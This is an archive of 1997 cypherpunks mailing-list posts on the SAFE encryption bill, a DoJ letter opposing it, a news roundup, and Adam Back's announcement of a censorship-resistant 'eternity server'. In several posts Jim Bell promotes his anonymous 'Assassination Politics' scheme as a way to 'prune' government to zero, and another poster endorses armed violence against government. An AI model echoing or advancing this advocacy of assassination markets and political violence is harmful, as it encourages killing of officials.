Bay Alarm is trying to sell the City Council a $500K-$1.5M closed-circuit
TV system for watching people in public places.  The three picknickers
didn't litter, but the camera mounted on the public library building could
zoom in enough to that the council could tell a ham sandwich from roast beef,
and whether the two joggers were wearing Nikes or Reeboks.
"Anybody who is a law-abiding citizen is not going to be concerned about
this..
"When I'm out in a public place.... I don't have an expectation of privacy"
said Councilcritter Nate Miley (East Oakland/Elmhurst), who wants a test run
in his district, where residents have bars on their windows and are afraid
to go out at night.  Police Chief Joseph Samuels likes it too.
"This is technology spying on our citizens from camera on light poles"
said John Crew of the ACLU police practices project, speaking against it.
Bay Alarm said that some British cities have dealt with privacy fears by
setting up monitoring centers away from city and police offices,
where tapes are kept in case a crime occurs -- crime victims can call up
the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
The camera systems are also capable of taking pictures in the dark.

Personnel Data Theft Plaguing U.S. Firms
---------------------------------------
Levi Strauss & Co. recently had a disk drive stolen from an office computer.
It had background information on over 20,000 current and former employees,
including names, addresses, SSNs, birthdates, and bank account numbers.
It appeared to be just a crude theft of the $500 hardware, rather than 
somebody trying to steal the information itself, and is "not likely" to be 
used fraudulently because it's "written in a language difficult to decode",
but the affected employees have been notified.  Dave Banisar of EPIC is 
one of the various experts quoted.

Insiders Chip In for FileGate Fall Guy Defense
----------------------------------------------
Remember FileGate, with the White House accessing confidential 
background files of hundreds of Republican Administration workers?  
Remember Craig Livingstone, White House staffer who resigned after 
it was revealed that his office was responsible for it?
Well, he was never charged with anything, but he had about $9550 in 
legal expenses to advise him when he talked to Congress,
and apparently 55 of his good friends decided to help him out.
Hillary Clinton's chief of staff gave $50, Bill Clinton's golf partner
Vernon Jordan gave $250, D.C.City Council member Charlene Davis gave $100,
and overall it averaged out to about $200 per insider.
Petty cash, perhaps, but it goes to show you the Clinton Administration's
attitudes toward violation of privacy and abuse of power.
Needless to say, the Associated Press story was a bit more balanced in tone
than my summary here :-)


----
And in other news, San Leandro High School students, mostly the drama club,
led a protest against against a proposed school board policy that would ban
profanity, obscenity, libel, or slanderous speech in school-produced
publications and productions.  (Out, Out, <censored> spot!)
"We want to be able to have the plays we've had in the past", said Sean
Givens.
"We're not doing profanity, we're doing ideas."  Last year the drama 
department canceled a production of "The Breakfast Club", though it was
allowed to go on with modified language.

And Mike Royko died.  The world will be a quieter place without him.
He'll be missed.  


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 1 May 1997 07:05:31 +0800
To: cypherpunks@toad.com
Subject: Rejecting Foreplay With Government Vermin
Message-ID: <199704302235.SAA07800@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Hume's evil twin wrote:
(Declan take note...)

"It is seldom that virginity of any kind is not lost all at once."
                                                 - Human Gus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 10:29:47 +0800
To: Bradley Felton <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705010219.TAA28635@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:40 4/30/97 -0500, Bradley Felton wrote:
>What is needed is a "Bonsai" government, that is kept carefully pruned into
>exactly the desired shape, and is never allowed to outgrow its pot.  With
>this analogy in mind, I would posit:
>
>4) Insufficient pruning mechanisms.

I've proposed what I consider to be a very efficient and effective "pruning
mechanism."  However, I've also suggested that it would continue pruning
until the size of government reached zero.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 10:53:27 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705010238.TAA04266@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:32 4/29/97 -0800, Tim May wrote:
>At 9:15 PM -0800 4/29/97, Jim Bell wrote:
>>For example, I consider a major nuclear powers' possession of nukes to be
>>one of the most serious examples of "nuclear terrorism" there is, but on the
>>other hand I believe that an appropriate use of crypto (AP) could force any
>>owners of nuclear weapons to dismantle them.  Few people challenge this
>>claim.  If I'm right, crypto is a solution rather than a problem.  Why not
>>remind that journalist that her false impression is the real problem, not
>>crypto.
>
>I believe you are incorrect that AP would force dismantling of nukes, for
>reasons I am weary of repeating (you repeat your matra, I repeat mine),

Well, you're entitled to be wrong!  B^)

I have always been willing to defend my assertion, and since it hasn't been
discussed recently I think it's not too soon to rehash, as weary as you may be.

Assuming AP works in particular, and crypto-anarchy works in general, both
will work to  reduce and minimize the "height" and size of government
entities everywhere. Looked at from a cost/benefit standpoint, since nuclear
weapons are generally of a certain minimum size and cost, they only "work"
if the enemy is sufficiently numerous and segregated from the non-enemy
populace to make attack with a large bomb effective.  Reduce the size of the
largest government unit, and it's harder to find a useful target, thus
reducing the benefit of owning nukes.   Also, if an AP system were available
to an individual or group that previously owned nukes, it would be a far
more economical (and specific) tool to defend itself from enemies of a
certain limited size.  (you can't nuke a terrorist cell, for instance, at
least not without making far more enemies than you originally had.)

At some point, nukes will become far "larger" a weapon than any owner can
reasonably use, and at that point he will disassemble it due to sheer
uselessness.   (if you don't believe that the average size of the potential
nuke-owners will get smaller, then you obviously don't believe in AP and/or
crypto-anarchy!)

AP dramatically increases the "cost" of owning nukes as well:   If I were
free to do so, I'd be happy to donate money to help force the few
nuke-owners to dismantle their bombs.  Assuming more than a small fraction
of the population is sympathetic to this use of AP (and even if they
generally would oppose other uses) this will work.  Nukes won't be useful to
"fight back" against AP and/or crypto-anarchy, and in fact threatening their
use will do nothing except strength the argument in favor of the development
and use of AP as an anti-nuke tool.

Generally, in order to claim that a fully-functioning AP system WON'T
dismantle all nukes, you've got to be able to postulate the kind of
nuke-owning organization that could survive in a post-AP world, and further
suggest what reason that organization would have to own them.


> but
>I agree that serious discussion of such game-theoretic issues is just too
>scary, too extreme, too un-American for almost everyone.

You'd be surprised.  Since having had at least my second "15 minutes of
fame" locally, I've had many discussions of the AP concept with average
citizens.  Admittedly, many of them were no more familiar with the
cryptographic details than you might expect, so they pretty much accepted
that part of the proposal as a given.  However, every one of them seemed to
accept the idea that if my system would do, generally, what it appears to do
from first principles, the conclusion that it would shut down militaries and
dismantle nukes follows directly.  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 1 May 1997 07:53:48 +0800
To: cypherpunks@toad.com
Subject: House subcom. passes crypto bill, USDoJ letter to panel
Message-ID: <v03007810af8d880025a4@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



**********

Date: Wed, 30 Apr 1997 19:28:10 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

After all the backroom wrangling that led up to today's markup, the actual
subcommittee vote on legislation that would lift export controls on
encryption was an anticlimax. A House Judiciary subcommittee passed Rep.
Bob Goodlatte's (R-Va) "SAFE" bill unanimously by voice vote. Not one
member of the panel spoke against it -- even after the Justice Department
tried a last-minute lobbying blitz to derail the bill.

It's a tribute to the effectiveness of the high-tech lobbyists that even
Rep. Bill McCollum (R-Fl) didn't slam the bill, as he was itching to do.
Instead he had to be content with huffing: "I'm not saying I'm opposed to
the bill; I want to put up a red flag. There are people in the intelligence
community and criminal justice community who have expressed concerns to
me." He warned he might have amendments later.

And what else could he say? High tech was smart enough to recruit outside
its ranks for unusual allies in its last-minute legislative push. An April
29 letter to the committee urging them to pass the bill included groups
like the National Association of Manufacturers and the National Retail
Federation.

Goodlatte, the bill's chief sponsor, came up to me afterwards and grinned.
"We already have a significant majority of the full committee supporting
this bill," he said. "There's not one member of Congress who's stepped up
and said they're openly opposed to this legislation. None."

(Rep. Zoe Lofgren (D-Ca) noted that she received a letter from a coalition
of groups criticizing the bill for imposing harsh criminal penalties for
using crypto to further a crime. She vaguely promised to address it later.
That section stayed in.)

But the fight isn't over; rather, it's just beginning. SAFE still has to
clear the full House Judiciary committee, and Sen. Conrad Burns' Pro-CODE
bill has yet to advance in the Senate.

Don't discount the Clinton administration and the Department of Justice --
the largest law firm in the world, with plenty of lobbyists who regularly
swarm onto Capitol Hill to demand expanded police powers. An excerpt from
the DoJ's fearmongering letter sent to the committee today is attached
below.

-Declan

***************

	April 30, 1997

	Rep. Howard Coble
	Subcommittee on Courts and Intellectual	Property chairman
	House Judiciary Committee

	Your Subcommittee will soon begin mark-up of
	H.R. 695, the "Security and Freedom
	Through Encryption (SAFE) Act." Although
	the Department of Justice supports H.R.
	695's overall goal of promoting the wide
	dissemination of strong encryption, we
	believe that the bill would severely
	compromise law enforcement's ability to
	protect the American people from the
	threats posed by terrorists, organized
	crime, child pornographers, drug cartels,
	financial predators, hostile foreign
	intelligence agents, and other criminals.
	In addition, the bill would greately
	impair the government's ability to
	prosecute those crimes when they do occur.
	We urge the Subcommittee to reject H.R.
	695 in its present form...

	We also oppose H.R. 695 because it would
	impede or prevent the development of a key
	management infrastructure. The bill could
	be read as prohibiting the United States
	government from using appropriate
	incentives to support a key management
	infrastructure and key recovery. Without
	such an infrastructure supporting key
	recovery, federal law enforcement
	investigations will become far more
	difficult. The problems that enactment
	of H.R. 695 would pose for state and local
	law enforcement, which lack access to
	supercomputers, are even greater...

	Sincerely,

	Andrew Fois
	Assistant Attorney General
        Office of Legislative Affairs
        U.S. Department of Justice



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 1 May 1997 11:17:34 +0800
To: Bradley Felton <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <3.0.32.19970430190055.0074e8a4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:40 AM 4/30/97 -0500, Bradley Felton wrote:
>What is needed is a "Bonsai" government, that is kept carefully pruned into
>exactly the desired shape, and is never allowed to outgrow its pot.  With
>this analogy in mind, I would posit:
>
>4) Insufficient pruning mechanisms.

The pruning mechanism was put in by the Founding Fathers in form of the
Second Amendment. The problem was that the People decided they wanted to
give up the pruning mechanism for some (perceived) temporary safety.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 1 May 1997 09:21:04 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <Pine.GSO.3.95.970430174121.425K-100000@well.com>
Message-ID: <Pine.SOL.3.96.970430200535.2695J-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


> Not all journalists have "hockable ethical standards." Indeed, some of us
> care about the truth. 

And all of you care about the deadline.  Which comes first?
Ah, that's a rehtorical question.:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Thu, 1 May 1997 11:38:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: mainstream media corruption same as govt
In-Reply-To: <199705010033.RAA29721@netcom7.netcom.com>
Message-ID: <9704302023.ZM15577@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On Apr 30,  5:33pm, Vladimir Z. Nuri wrote:
>
> the crack cocaine situation in LA is a good example of how the truth
> is buried by the media. a maverick newspaper reports something close to the
> truth and the cia-manipulated mouthpieces around the country pile on
> the journalist and the newspaper in a barrage of picks that choke the
> truth in clouds of smoke.

	One can hardly call the Mercury News a maverick newspaper.
Their slant is pretty much establishment most of the time.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 11:42:51 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705010328.UAA19126@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 23:07 4/29/97 -0700, Kent Crispin wrote:

>3) There is no serious flaw -- the current government isn't as
>bad as we claim.  Or, put another way, the evils we see are a function
>of size of government, and size of government is more a function of
>population than anything else -- the larger the population, the 
>larger the government.
>
>I think that strong arguments could be made for any of these, though #3 
>would be shouted down in this forum.

I disagree that a "strong argument" could be made for item #3.  Sure, some
people would strenuously ATTEMPT to make that argument, but they would fail
miserably.  

I feel confident that a statistical analysis of various countries'
governments would reveal a wide scatter in the relationship between
population and government size.  One of the main factors in this scatter is
simply the amount that government has decided to butt into activities that
could (and should) be privatized.   Another is the amount that the
government steals from one group in order to reliably receive the votes of
some other group.

Population size would end up being a very poor determinant of government size.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 11:40:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <199705010328.UAA19133@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 17:19 4/30/97 -0800, Tim May wrote:
>(A copy of this message has also been posted to the following newsgroups:
>alt.cypherpunks,  talk.politics.crypto, comp.org.eff.talk)
>CDT and other Washington insider groups are busily singing the praises of
>the SAFE encryption bill, despite some acknowledged "minor flaws."
>
>Well, the flaws are not minor. The bill does not give Americans any rights
>they do not already have, and does not ease export of strong crypto in any
>meaningful way. In fact, the bill contains odd language implying it is
>essentially only financial software which is easier to export, and then
>only if the receiving country (huh?) allows it...since when is the duty of
>U.S. Customs to pass products for export based on whether Baluchistan, for
>example, wants the product?

I agree with everything you've said, here.  SAFE is truly awful if it
attempts to make use of encryption illegal.  Prosecuting the underlying
crime, if a crime was done, should be considered more than enough.

The thugs are afraid of getting whacked.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 1 May 1997 12:03:29 +0800
To: cypherpunks@toad.com
Subject: Problems with SAFE bill
Message-ID: <Pine.GSO.3.95.970430203921.25451B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I've received a few comments along the lines of "Why are you supporting
the SAFE bill?" Here's my post to f-c about it from last week that might
give some background. In short, I think this legislation is not good.

-Declan

(I sometimes forget to send f-c posts to cypherpunks, even when they're
on-topic. If you want to join, subscription info is at the end.)


---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 18:17:09 -0400
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup

Encryption is again bubbling to the surface of Washington politics. Today
the Department of Commerce announced that it was creating a new committee
to advise it on crypto-issues. A department official told me it would be
composed of "businesses that export encryption," and interested parties
have 15 working days to file comments. A way for the White House to split
industry opposition and persuade high tech firms to buy into key escrow?
Hmm...

On the Hill, crypto legislation that would lift export controls is about to
advance farther than ever before. (Last fall, Sen. Exon killed any chance
that pro-crypto legislation had in the 104th Congress.) Rep. Bob
Goodlatte's crypto bill (SAFE) will move to subcommittee markup next
Tuesday at 2 pm in Rayburn 2237. After the full committee reports the bill,
it moves to the international relations committee. Sen. Conrad Burns also
would like to move forward with his Pro-CODE bill in May.

Problem is, Goodlatte's SAFE bill, which has about 70 cosponsors, does more
than just relax export controls and prohibit mandatory key escrow. It also
creates new criminal penalties for using encryption to further a criminal
act. Now, some say that it's innocuous -- and a good tradeoff for getting
export controls lifted -- but I'm not convinced. When encryption is
widespread and present in telephones, radios, cell phones, wireless modems,
web browsers, televisions, and maybe light switches, *any use* of any
electronic appliance will involve encryption. (Who wants a hacker playing
with your toaster?)

Remember that Maryland bill that would criminalize sending "annoying" or
"harassing" email? If the Goodlatte bill became law, Marylanders who signed
their messages with PGP or telnetted to local ISPs could be slammed with an
all-expenses-paid trip to the Federal pen for five years.

In other words, SAFE would turn state misdemeanors into Federal felonies.
This is not good.

A coalition of groups is sending a letter to Goodlatte tomorrow supporting
the bill but expressing concern over the criminalization provision.
Interested in signing on? Email David Sobel: sobel@epic.org.

-Declan

*****************

Security and Freedom Through Encryption (SAFE) Act (Introduced in the House)

`Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who willfully uses encryption in furtherance of the
commission of a criminal
       offense for which the person may be prosecuted in a court of
competent jurisdiction--

              `(1) in the case of a first offense under this section, shall
be imprisoned for not
              more than 5 years, or fined in the amount set forth in this
title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be
              imprisoned for not more than 10 years, or fined in the amount
set forth in this title,
              or both.'.


*****************

Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption;
Notice of Establishment

    The Secretary of Commerce has determined that the
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in
connection with the performance of duties imposed on the
Department by law.

    The Subcommittee will advise the Secretary, through the
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption
policy that will support the growth of commerce while
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members
to be appointed by the Secretary to assure a balanced
representation among the exporting community and those
Government agencies with a mandate to implement policy
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding
the establishment of the Subcommittee to Lee Ann Carpenter,
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone:
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.

[Thanks to JYA. --Declan]



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 1 May 1997 05:14:25 +0800
To: cypherpunks@cyberpass.net
Subject: [ANNOUNCE] Eternity server 1.01 alpha release
Message-ID: <199704302052.VAA10052@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Annoucing the `eternity server'.

Alpha testers wanted.  See source code at:

	http://www.dcs.ex.ac.uk/~aba/eternity/

System requirements are:

  unix
  perl5
  news source (local news spool or access to nntp server)
  pgp (2.6.x)
  web space
  ability to install cgi-binaries
  ability to schedule cron jobs a plus but not essential

Unfortunately I have not got a service up and running for you to play
with because I don't meet those requirements (in cgi capability on the
server I would otherwise like to use).

If someone wants to set one up to demo, and post the URL that would be
useful.

The local news spool stuff is tested better than the nntp server
stuff, but it is all there and the nntp stuff was working at one
point.  Remember this is alpha code.  If you can hack perl and want to
stress test the nntp server stuff or the rest of it that would be
helpful.

What is an Eternity Service?

(Some of you may recognize the name `Eternity Service' from Ross
Anderson's paper of that name.  What I have implemented is a related
type of service which shares Anderson's design goals, but has a
simpler design.  Rather than invent a new name, I just borrowed
Anderson's, unless anyone can think of a better name. Anderson has the
paper available on his web pages (look for `eternity') at
http://www.cl.cam.ac.uk/users/rja14/ Also I heard that Eric Hughes
gave a talk on UPS `Universal Piracy Service' I presume this has
similar design goals, though I have not heard further details.)

I have implemented this to give something concrete to think about in
terms of creating something closer to Andersons real eternity service
in robustness.

The eternity server code above provides an interface to a distributed
document store which allows you to publish web pages in such a way
that the attacker (the attacker here is a censor such as perhaps a
government, perhaps your government) can not force you to unpublish
the document.

It's architecture is quite simple.  We already have an extremely
robust distributed document store: USENET news.  We already have the
ability to post messages to the document store anonymously: type I and
type II (mixmaster) remailers.  So theoretically we can publish what
ever we want, just post it to USENET.  However retreiving the data is
cumbersome.  We must search USENET with a search engine, or look
manually for the document, the document will expire after some short
time.  You may still be able to find the document in a search engine
which archives news for longer periods such as dejanews or altavista.

However, it is not as user friendly as a web based interface, there
are no hypertext links between related documents, there are no inline
graphics, etc.

So my `eternity server' is a kind of specialised web search engine
which acts as a kind of web proxy and provides a persistent web based
interface to reading web pages stored in encrypted documents posted to
different USENET groups.  The web search engine provides persitent
virtual URLs for documents even if they move around with different in
different news groups, being posted via different exit remailers.
Signatures on documents allows the user to update document.  The web
proxy has options to cache documents, and otherwise fetches from
a USENET newsspool or nntp news server.

Technical Description

The system offers different levels of security to users.  All
documents must be encrypted.  The subject field of the document should
include the SHA1 hash of the document's virtual URL.  (All eternity
virtual urls are of the form:

	http://[virtualsite].eternity/[documentpath]

that is they would not function as normal urls because the use the
non-existant TLD "eternity".  You may be able to use this facility to
get your browser to look at a particular eternity server to serve
documents of this form).

The lowest level of security is to encrypt the document with PGP -c
(IDEA encryption) with the passphrase "eternity".  This is just
obfuscation to make the documents marginally harder to examine in
USENET without using the eternity service to automate the process.

The next level of security is encrypt the document with the SHA1 of a
1 prepended with the URL.  ie 
	
	passphrase = SHA1( "1". "http://test.eternity/doc/" )

This means that you can not read documents unless you know the URL.
Of course, if you can guess the URL then you can read them.

The third level of security is to additionally to one of the above two
options to encrypt the document with another passphrase of your
chosing.  Then you can give the passphrase only to those amongst your
circle of friends.

Additionally support is given for signed documents.  This is important
because once you've published a web page you might wish to update it.
And yet you don't want other people updating it with a blank page (or
otherwise changing your page) as this would be as good as the ability
to remove the page.

If you include a PGP public key with a document, the eternity server
will associate that PGP key with the hash of your documents URL.  Any
attempts to update that document will only succeed if signed by the
same PGP key.

The document server has the option to cache documents.  Cacheing can
either be turned off (in which case documents are always fetched from
the news spool, this is not that inefficient as the news spool may be
local, and the server keeps a database of USENET group/article number
against document hash, and so can directly fetch the document), or
cacheing can be turned on, or cacheing can be set to encrypted, in
which case documents in the cache are encrypted with a passphrase
derived from the SHA1 of the document's URL by prepending a 1 to the
URL.  In the encrypted mode if the server operator is not keeping
logs, he can't decrypt the documents in his own cache.  If cacheing is
off there are no documents in the cache, only in the USENET news
spool.

In addition some users will have a password which is pasted into an
extra password field on the field

Users can set their own per document cacheing options (they can set no
cacheing to override the options of on or encrypted on the server), or
they can set encrytped to override cachine turned on, etc.

There is a document index at eternity root ( "http://eternity/" ), and
users may optionally request documents to be included in the directory
of eternity documents and virtual hosts.  It makes sense to include
the root document of your set of web pages in the index, and to leave
the rest out of the index.  Then you can link to your own pages from
your original page.

Relative URLs work, inline graphics work, site relative URLs work, and
it includes crude support for mime types, so most normal web data
types will work as normal.

The document format is:

[flags]
[pgp key]
[eternity document]

The flags are can be any of:

URL: http://test.eternity/example1/
Options: directory or exdirectory
Cache: on/yes/off/no/encrypt/encrypted
Description: An example eternity document

The pgp key is an asii armored PGP key, and the eternity document must
also be ascii armored and may optionally be signed (with the
acompanying pgp key).  The eternity document can also be encrypted
again inside that layer with a user key which need never be revealed
to the server.

The overall document is encrypted with PGP -c password "eternity", or
with a password obtained by prepending a 1 to the URL as obtained like
this.

% echo -c 1"http://test.eternity/example1/" | sha1

The flags, pgp key and eternity document can be arbitrarily jumbled
up in order.

The eternity server source code includes an examples directory.

The eternity server has a configuration file which is heavily
commented: eternity.conf.


Threat Models

Think of this as a specialised search engine. If you don't like the
documents you find, then change your search terms, don't complain to
one of the many search engine maintainers! The Eternity Service is
designed to facilitate publishing in a web based form of non
government approved reading or viewing material, or the publishing of
non government approved software, or other "liberated" documents,
programs, etc.  Each user can easily install their own search engine
in a shell account for their own use.

Newsgroups are very robust against attack because they are part of a
distributed system: USENET news. It is difficult to remove a USENET
newsgroup (the Scientologists know, they tried and failed, and they
have seriously deep pockets, and attitude to match). For the eternity
service it probably doesn't matter that much if you do get rid of a
particular newsgroup, eternity documents can be in any
newsgroup. Somehow I don't think you'll succeed in getting rid of all
USENET newsgroups, ie in shutting USENET news down. I'm not sure that
a major government could succeed in that even.

Information wants to be free. Long live USENET news.

Improving robustness

The main problem with this system that I see is that documents don't
live long in USENET news spools as expiry dates are often 1 week or
less.  So to use the service you'd have to set up a cron job to repost
your web documents every week or so.  Some documents remain in the
cache and so survive as long as there is interest in them.

An immediately easy thing to do is to include support for fetching and
looking documents up in altavista's news archive and in dejanews
archive.  This shouldn't be that difficult.  The eternity server
article database already includes newsgroup and message id against
document hash, all that is required is to formulate the requests
correctly.  If anyone wants to add this, feel free.

A mechanism for eternity servers to query each other's caches would be
one mechanism to think about.

Another would be to charge anonymous digicash rates to keep documents
in the cache a couple of $ per Mb/year.

Also you could perhaps think about charging for acccesses to the
service and passing a royalty back to the document author.

There is no `ownership' of eternity virtual domains, or of document
paths.  If Alice puts a document at http://books.eternity/, there is
nothing to stop Bob putting other files under that virtual domain,
such as http://books.eternity/crypto/.  However in general Bob can't
make Alice's document point to his URLs.  Bob can't modify or remove
Alice's pointer from the eternity directry http://eternity/.  But he
can add his own entry.

There can however be race conditions.  If Alice puts up a document on
http://books.eternity/ which points to an inline gif, but hasn't yet
put up that inline gif, Bob can get there first and put up a picture
of Barney until Alice notices and changes here pointer to point to the
picture she wants to point at.

So one solution would be to only accept documents which are signed by
the signator of the next domain up.  First come first served for the
virtual domains, the key signing the root dir of the virtual domain is
checked for each file or directory added under that.

Note even if the URLs are exdirectory, this need not be a problem as
you can just try the path with one directory stripped off.  Could be
done.  Is it worth it though?  It would add overhead to the server,
and there is minimal distruption someone can cause by sharing domains.

Perhaps it is desirable for someone to own a domain by virtue of being
the first person to submit a document with the hash of that domain
together with a key.

Comments?



The rest of this document is things on the to do list, if you feel
like helping out, or discover a limitation or bug.

To do list

It could do with some documentation.  And some stress testing.  The
file locking hasn't really been tested much.  NNTP may be flaky
as I made some mods since last debugging.

It would be nice to have a CGI based form to submitting documents.
Paste signed ascii armored document here.  Paste public key here.
Click radio buttons to choose options.  Enter URL here.  Type in
newsgroup to send to. Click here to submit through a chain of
mixmaster remailers.

There are a few bugs in the above system which ought to be fixed, but
this is alpha code, and they are on the TODO list.  One problem is
that the flags aren't signed.  A change of message format will fix
that in a later version.  The basic problem is that you can't check
the signature until you've decrypted and obtained the key.  At which
point you have to decrypt again.  A simple fix would perhaps to be to
put the public key outside the outer encryption envelope, but that is
unattractive in terms of allowing author correlation even by people
who don't have passphrases or don't know URLs.  Better would be to
just decrypt once, obtain the key if there is one, and then check the
sig again.  The server already keeps a database of PGP keys (not using
PGP's keyring) it stores keys by the SHA1 hash of the armored public
key and indexes against document URL hashes.  In this way public keys
do not need to be included in later document updates.  This could be
used to check a signature on the outer encryption layer.  Then only
the first post needs to decrypt twice (once without key available to
check sig, and then again with key available).  As a nice side effect
this protects against the PGP 0xdeadbeef attack (or 0xc001d00d as Gary
Howland has on his public key).

Another problem is when scanning a newsgroup, if the scanned message
can not be read it just stores it for later, so that when someone
accesses the server who knows the URL for that document it can be
decrypted and scanned for good signature and updated then.  However
the code only has a place holder for one document at the moment.  That
should be changed to a list and appropriate code to scan the list when
the document is accessed.  Once the newest document is found, the list
of documents to be scanned can be discarded and the newest article
stored against the hash in article.db.

Another more subtle problem is that the code may update documents in
the wrong order if multiple versions are posted to different news
groups.  The articles are scanned one group at a time.  So if the
groups are scanned in order alt.anonymous.messages followed by
alt.cypherpunks, and version 2 of the document is in alt.anon.msgs,
and version 1 in alt.cp, then it will update the document with the
older version.

Another to do list entry is the cache replacement policy.  There isn't
one, your cache will grow indefinately as documents are never removed.

Another thing to do is the altavista and dejanews lookup via HTTP by
message-id.  All the place holders are there.

If anyone wants to tackle any of the above tasks feel free.

The program dbmdump prints out .db files in ascii so you can see what
is there.

eternity -u is suitable to run as a cron job, or just at the console.

eternity -r resets everything, clears out the cache, empties database
etc.

eterity?url=http://blah.eternity/blah

is the form to use as a cgi.  It handles both GET and POST methods.

There is a log file for debugging, see eternity (the perl program) for
how to set different logging opitons. You can log most aspects of the
program for debugging purposes.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 1 May 1997 14:04:28 +0800
To: cypherpunks@toad.com
Subject: Re: House subcom. passes crypto bill, USDoJ letter to panel
In-Reply-To: <v03007810af8d880025a4@[168.161.105.191]>
Message-ID: <v0300780aaf8dd832908f@[207.94.249.141]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:36 PM -0700 4/30/97, Declan McCullagh quoted:
>	... threats posed by terrorists, organized
>	crime, child pornographers, drug cartels,
>	financial predators, hostile foreign
>	intelligence agents, and other criminals.
>       ...
>
>	Andrew Fois
>	Assistant Attorney General
>        Office of Legislative Affairs
>        U.S. Department of Justice

Wow!  The four horsemen are now eight (or more).


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






